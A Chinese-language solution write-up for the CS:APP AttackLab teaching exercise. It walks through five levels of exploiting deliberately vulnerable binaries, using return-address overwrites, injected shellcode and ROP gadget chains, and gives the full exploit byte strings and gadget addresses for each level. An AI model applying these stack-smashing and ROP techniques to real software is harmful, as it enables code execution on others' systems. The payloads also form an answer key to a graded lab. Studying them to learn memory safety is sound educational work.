AttackLab

Level 1

无需inject待执行的代码,只需把现有函数touch1的地址放到return address处就行了。

反汇编出ctarget二进制文件，查找一下getbuf函数，如下：

```
00000000004016e7 <getbuf>:
  4016e7:    48 83 ec 38             sub    $0x38,%rsp
  4016eb:    48 89 e7                mov    %rsp,%rdi
  4016ee:    e8 37 02 00 00          callq  40192a <Gets>
  4016f3:    b8 01 00 00 00          mov    $0x1,%eax
  4016f8:    48 83 c4 38             add    $0x38,%rsp
  4016fc:    c3                      retq
```

可见getbuf的frame下拉了0x38的内存空间，且没有写入保护；我们padding 0x38=56 bytes的0，则接下来的输入会正好放到return address处，从而覆盖原来在这里的test函数的地址；查到touch1函数的地址，为`0x00000000004016fd`,按照小端的顺序写入即可。

于是写入字符串对应的机器码为：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
fd 16 40 00 00 00 00 00
```

Level 2

基于level1，需要我们插入一段待执行代码在跳转到touch2之前执行，来实现把cookie的值赋值给函数默认使用的第一个参数对应的寄存器`%rdi`。我的cookie是`0x1e592c23`，即需：

```
   0:    48 c7 c7 23 2c 59 1e     mov    $0x1e592c23,%rdi
   7:    c3                       retq
```

因此所需代码编译为机器码`48 c7 c7 23 2c 59 1e c3`。我们在gdb中print出getbuf函数刚开始执行时的`%rsp`指向的地址，经查看为`0x0000000055674578`;把上述机器码作为最终输入的开头，把其开始位置的地址（即上述print出的`%rsp`指向的地址）覆写到return address位置即可。

实际上，`retq`相当于`popq %rip`,又相当于：

```
movq (%rsp),%rip
addq $8,%rsp
```

因此，在跳转执行我们输入的代码段的同时，`%rsp`上移了一位（默认stack自上而下增长，上对应大地址）；于是，我们可以把需要接下来执行的touch3写到inject的代码段后面一位，执行我们写入的`retq`时正好可以自动pop出这个地址，紧接着执行touch2函数。

于是写入字符串对应的机器码为：

```
48 c7 c7 23 2c 59 1e c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 45 67 55 00 00 00 00
29 17 40 00 00 00 00 00
```

Level 3

和level2不同的是，我们传入的需要为字符串而不是数值，把cookie视为字符串，则对应的机器码为`31 65 35 39 32 63 32 33`;另一个不同之处在于，touch3中会执行其他函数，可能会覆写一些内存，因此我们需要把cookie写到安全的位置，我选择把它放到level2上述解答中所描述的两个地址之后，即位于stack的更高位置；而这个位置在题设情形下是固定的，等于`%rsp+0x38+0x10`把它放到`%rdi`便是我们要做的。即需：

```
   0:    48 c7 c7 c0 45 67 55     mov    $0x556745c0,%rdi
   7:    c3                       retq
```

于是写入字符串对应的机器码为：

```
48 c7 c7 c0 45 67 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
78 45 67 55 00 00 00 00
fd 17 40 00 00 00 00 00
31 65 35 39 32 63 32 33
```

Level 4

不同于前面几个level，ROP增加了两个主要的限制：

1. 不能自己inject所需代码了
2. stack上的地址随记改变，无法使用stack内存段对应的绝对地址

我们要想实现attack,需要利用如下两个性质：

1. 虽然stack内存段的绝对地址随机改变，函数段的地址始终不变
2. 机器码可以打破原有指令行的限制来链接并使用，用c3来连接，用合适的地址序列重组出我们所需的机器指令

正如实验说明上所述，我们用一系列从原有函数集合的机器码列表C中“挑拣”出来的gadgets拼接出所需指令序列。

level4需要的`popq %rdi retq`对应的机器码`5f c3`在C中并不存在，我们考虑曲线救国，先用一个另外的寄存器作为中转，一番查找后发现，用`%eax`作为中转正合适：

```
popq %rax
retq
```

对应的`58 c3`在rtarget反汇编出的函数代码段集合中有出现：

```
00000000004018b2 <setval_226>:
  4018b2:    c7 07 4e 0e d4 58        movl   $0x58d40e4e,(%rdi)
  4018b8:    c3
```

取地址`0x4018b2+5=0x4018b7`即可。注意，cookie要紧跟在这个地址后面输入，以作为stack top pop给`%rax`。

```
movq %rax,$rdi
retq
```

对应的`48 89 c7 c3`在下述函数代码段中亦有出现：

```
000000000040188b <getval_424>:
  40188b:    b8 48 89 c7 c3           mov    $0xc3c78948,%eax
  401890:    c3                       retq
```

取地址`0x40188b+1=0x40188c`即可。

最后把touch4的地址写入，即得最终写入字符串对应的机器码为：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
b7 18 40 00 00 00 00 00
23 2c 59 1e 00 00 00 00
8c 18 40 00 00 00 00 00
29 17 40 00 00 00 00 00
```

Level 5

与level4不同的是，输入字符串时，我们不可避免得要寻求一个“绝对”地址输入字符串，进而以该地址作为touch3的参数。

想到可以使用stack中的“距离常量运算“来实现对“绝对”的代替实现，即把字符串放到位置`p`，而`p`和第一个return address之间的距离为常量`d`。

因此，我们需要使用add操作，发现函数段中有`add_xy`，欲借用它来实现加法；其加的两个寄存器是`%rdi`和`%rsi`，设想，我们通过一系列操作把`%rsp`赋给`%rdi`,把常量`d`赋给`%rsi`。经过查找，实现前者必须引入`%rax`作为中转；实现后者需引入`%rax`和`%edx`和`%ecx`作为中转。

gadget1 movq %rsp,%rax

```
0000000000401960 <getval_444>:
  401960:    b8 48 89 e0 c3           mov    $0xc3e08948,%eax
  401965:    c3                       retq
```

取0x401961

gadget2 movq %rax,%rdi

```
000000000040189e <addval_395>:
  40189e:    8d 87 b3 48 89 c7        lea    -0x3876b74d(%rdi),%eax
  4018a4:    c3                       retq
```

取0x4018a1

gadget3 popq %rax

```
00000000004018b2 <setval_226>:
  4018b2:    c7 07 4e 0e d4 58        movl   $0x58d40e4e,(%rdi)
  4018b8:    c3                       retq
```

取0x4018b7

gadget4 movl %eax,%edx

```
0000000000401995 <addval_286>:
  401995:    8d 87 89 c2 90 c3        lea    -0x3c6f3d77(%rdi),%eax
  40199b:    c3                       retq
```

取0x401997

gadget5 movl %edx,%ecx

```
00000000004018f4 <getval_369>:
  4018f4:    b8 89 d1 18 c0           mov    $0xc018d189,%eax
  4018f9:    c3                       retq
```

取0x4018f5

gadget6 movl %ecx,%esi

```
0000000000401907 <setval_476>:
  401907:    c7 07 89 ce c3 31        movl   $0x31c3ce89,(%rdi)
  40190d:    c3                       retq
```

取0x401909

gadget7 lea (%rdi,%rsi,1),%rax

```
00000000004018c6 <add_xy>:
  4018c6:    48 8d 04 37              lea    (%rdi,%rsi,1),%rax
  4018ca:    c3                       retq
```

取0x4018c6

gadget8 movq %rax,%rdi

```
000000000040188b <getval_424>:
  40188b:    b8 48 89 c7 c3           mov    $0xc3c78948,%eax
  401890:    c3                       retq
```

取0x40188c

然后再加touch3的地址。

最后补上字符串。

那么，常数k需要是多少呢？从getbuf中的return address位置开始算，其上gadgets的所有地址占用8 bytes，前面输入k占用1 bytes，touch3的地址占用1 byte,共10 bytes；但需注意，第一个指令执行时，由于已经retq过一次，%rsp比getbuf中原本的return address位置大了8bits,则k=80-8=72=0x48。

综上，最终写入字符串对应的机器码为：

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
61 19 40 00 00 00 00 00
a1 18 40 00 00 00 00 00
b7 18 40 00 00 00 00 00
48 00 00 00 00 00 00 00
97 19 40 00 00 00 00 00
f5 18 40 00 00 00 00 00
09 19 40 00 00 00 00 00
c6 18 40 00 00 00 00 00
8c 18 40 00 00 00 00 00
fd 17 40 00 00 00 00 00
31 65 35 39 32 63 32 33
```